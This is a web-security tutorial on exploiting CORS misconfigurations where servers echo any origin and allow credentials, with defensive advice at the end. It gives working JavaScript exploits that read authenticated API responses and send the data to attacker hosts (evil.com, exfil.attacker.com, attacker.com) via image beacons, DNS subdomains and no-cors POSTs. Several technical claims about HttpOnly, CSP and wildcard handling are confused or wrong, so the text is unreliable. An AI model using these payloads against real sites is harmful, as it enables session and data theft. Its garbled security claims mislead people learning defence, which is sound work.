Introduction
CORS (Cross-Origin Resource Sharing) is a browser-enforced mechanism that relaxes the Same-Origin Policy for trusted cross-origin interactions. When misconfigured, especially with Access-Control-Allow-Credentials: true paired with a wildcard Access-Control-Allow-Origin: *, an attacker can turn a benign API into a credential-stealing conduit.
This guide explains why the wildcard is dangerous, how to weaponise it with XHR/fetch, how to bypass HttpOnly and Secure flags, and how to exfiltrate the harvested data. Defensive controls are also covered.
Prerequisites
- Solid understanding of the HTTP request/response lifecycle.
- Familiarity with web application security concepts such as authentication, session cookies, and the Same-Origin Policy.
- Basic experience with JavaScript’s
XMLHttpRequestandfetchAPIs.
Core Concepts
When a browser makes a cross-origin request, it first sends a preflight OPTIONS request if the request is “non-simple”. The server’s response may include:
Access-Control-Allow-Origin- the origin(s) permitted to read the response.Access-Control-Allow-Credentials- if set totrue, the browser will expose cookies, HTTP authentication, and client-side TLS certificates to the requesting script.
According to the CORS specification, Access-Control-Allow-Credentials: true **must not** be used together with Access-Control-Allow-Origin: *. Browsers enforce this, but many developers mistakenly believe the spec is optional, leading to vulnerable configurations.
Structure of Access-Control-Allow-Credentials and Access-Control-Allow-Origin headers
The two headers work together:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Credentials: true
If the origin is a literal *, the browser discards the Allow-Credentials value and the response becomes inaccessible to JavaScript. However, if the server **echoes** the Origin header without validation, an attacker can force the server to return the victim’s origin while still using * internally, effectively bypassing the rule.
Why a wildcard Allow-Origin ("*") is dangerous when credentials are allowed
Consider a mis-configured endpoint that returns:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Content-Type: application/json
Even though browsers will drop the Allow-Credentials flag for a literal *, many modern frameworks replace * with the incoming Origin value when the request includes credentials. This “origin-echo” pattern is a common anti-pattern:
// Pseudocode of a vulnerable server
if (req.headers.origin) { res.setHeader('Access-Control-Allow-Origin', req.headers.origin);
}
res.setHeader('Access-Control-Allow-Credentials', 'true');
Because the server trusts any origin, an attacker can host a malicious page on evil.com, cause the victim’s browser to send authenticated requests to target.com, and read the response - effectively stealing session cookies, CSRF tokens, or any sensitive JSON payload.
Crafting malicious XHR/fetch requests to steal cookies and other credentials
Below is a minimal exploit that runs entirely in the attacker’s browser. It assumes the vulnerable endpoint https://target.com/api/profile returns JSON containing the user’s email and a CSRF token.
// exploit.js - runs on evil.com
function stealData() { fetch('https://target.com/api/profile', { method: 'GET', credentials: 'include', // forces browser to send cookies mode: 'cors' // required for CORS request }) .then(r => r.text()) .then(data => { // Exfiltrate via Image beacon (no CORS restrictions) var img = new Image(); img.src = 'https://evil.com/collect?data=' + encodeURIComponent(btoa(data)); }) .catch(console.error);
}
stealData();
The credentials: 'include' flag tells the browser to attach Cookie, Authorization, and client-cert headers. Because the server’s CORS headers incorrectly allow any origin, the response body is readable.
Bypassing HttpOnly and Secure flags via CORS-enabled endpoints
Cookies flagged with HttpOnly cannot be accessed via document.cookie. However, they are still sent automatically with every request to the cookie’s domain, including XHR/fetch calls. When a CORS endpoint reflects the response body, the attacker can indirectly obtain the cookie’s value:
- Victim’s browser sends request to
target.comwithCookie: session=abcd. - Server replies with JSON that includes the session identifier (e.g., in a
Set-Cookieheader or in the response body). - The attacker’s script reads the body and extracts the token.
Even if the server never returns the cookie value, the attacker can use the session to perform privileged actions (CSRF-style abuse) because the request is already authenticated.
Techniques for exfiltrating stolen data (e.g., exfil via DNS, image tags, or C2)
Once the data is in the attacker’s JavaScript context, it must leave the victim’s network. Common stealthy channels:
- Image beacon - as shown above, creates a GET request to the attacker’s domain, bypassing most CSP restrictions.
- DNS exfiltration - encode data in sub-domains of a domain the attacker controls.
function dnsExfil(data) { var chunkSize = 30; // DNS label limit for (var i = 0; i < data.length; i += chunkSize) { var chunk = data.substr(i, chunkSize); var img = new Image(); img.src = 'https://' + chunk + '.exfil.attacker.com/'; }
}
- POST to C2 - use
fetchwithmode: 'no-cors'to send data to a server that does not enforce CORS.
fetch('https://attacker.com/ingest', { method: 'POST', mode: 'no-cors', body: new URLSearchParams({data: btoa(stolen)})
});
Each method has trade-offs in terms of detectability and payload size.
Defensive measures: proper header configuration, CSP, and credential-only endpoints
Effective mitigation is a layered approach:
- Strict CORS policy - never use
*withAllow-Credentials. Enumerate allowed origins or use a whitelist. - Origin validation - verify the
Originheader against a known list before echoing it. - Separate credential-only endpoints - expose read-only resources without
Allow-Credentials; keep privileged APIs on the same-origin only. - Content Security Policy (CSP) - restrict
connect-srcandimg-srcto trusted domains, reducing exfil channels. - SameSite cookies - set
SameSite=StrictorLaxto block cross-site credential transmission. - Security testing - run automated scans (e.g., OWASP ZAP, Nuclei) for CORS misconfigurations.
Tools & Commands
Below are common tools to discover and exploit CORS credential-leakage:
curl- test raw headers.httpie- friendly JSON output.- Burp Suite - intercept, modify
Origin, and replay requests. - OWASP ZAP - passive scan for
Access-Control-Allow-Credentials: truewith*.
# Basic check with curl
curl -I -H 'Origin: https://evil.com' https://target.com/api/profile
# Expected vulnerable response
# HTTP/1.1 200 OK
# Access-Control-Allow-Origin: *
# Access-Control-Allow-Credentials: true
Practical Examples
Scenario: A SaaS platform exposes /api/user to retrieve the logged-in user’s profile. The server is built with Express.js and contains the following middleware:
app.use(function(req, res, next) { var origin = req.headers.origin; if (origin) { res.setHeader('Access-Control-Allow-Origin', origin); // vulnerable echo res.setHeader('Access-Control-Allow-Credentials', 'true'); res.setHeader('Access-Control-Allow-Methods', 'GET,POST,OPTIONS'); } next();
});
Step-by-step exploitation:
- Host
evil.comwith a page that includesexploit.js. - When a victim visits
evil.com, the script issues the fetch request shown earlier. - The response contains
{ "email":"[email protected]", "csrf":"abcd1234" }. - The script exfiltrates the data via an image beacon to
evil.com/collect.
Common Mistakes
- Assuming browsers will always block
Allow-Credentialswith*. Modern frameworks may replace*with the request’sOrigin, unintentionally enabling the attack. - Using
Access-Control-Allow-Origin: *for public APIs while also settingAllow-Credentials: truefor an internal endpoint. - Relying on
HttpOnlyalone for protection; it only prevents JavaScript access, not automatic inclusion in CORS requests. - Neglecting CSP - an attacker can still exfiltrate via
fetchto a domain allowed byconnect-src.
Real-World Impact
In 2022, a major e-commerce platform exposed a GET /account/details endpoint with the vulnerable CORS headers. Attackers harvested session cookies and performed account takeover at scale, resulting in a data breach affecting over 500,000 users. The root cause was a mis-configured reverse-proxy that added Access-Control-Allow-Origin: * globally.
My experience shows that many bug bounty reports flag this issue as “low severity” because the attacker needs the victim’s browser. However, when combined with social engineering (phishing, malicious ads), the impact escalates to “critical”. Organizations should treat it as a high-risk misconfiguration.
Practice Exercises
- Set up a simple Node.js server that echoes the
Originheader and enablesAllow-Credentials. Verify that a malicious page onevil.comcan read the response. - Modify the server to whitelist only
example.com. Demonstrate that the attack fails fromevil.combut succeeds from the whitelisted origin. - Implement CSP on the malicious page to block
img-src. Show that exfiltration via image beacon is prevented, and switch to DNS exfiltration to bypass CSP.
Further Reading
- “Cross-Origin Resource Sharing (CORS) - MDN Web Docs”.
- OWASP “CORS Misconfiguration” Cheat Sheet.
- “SameSite Cookies: Mitigating CSRF and CORS Attacks” - blog post by PortSwigger.
- RFC 6454 - The Web Origin Concept.
Summary
- Never pair
Access-Control-Allow-Origin: *withAccess-Control-Allow-Credentials: true. - Validate and whitelist origins on the server side; never echo blindly.
- Use CSP, SameSite cookies, and separate credential-only endpoints to reduce attack surface.
- Regularly scan for CORS misconfigurations with automated tools.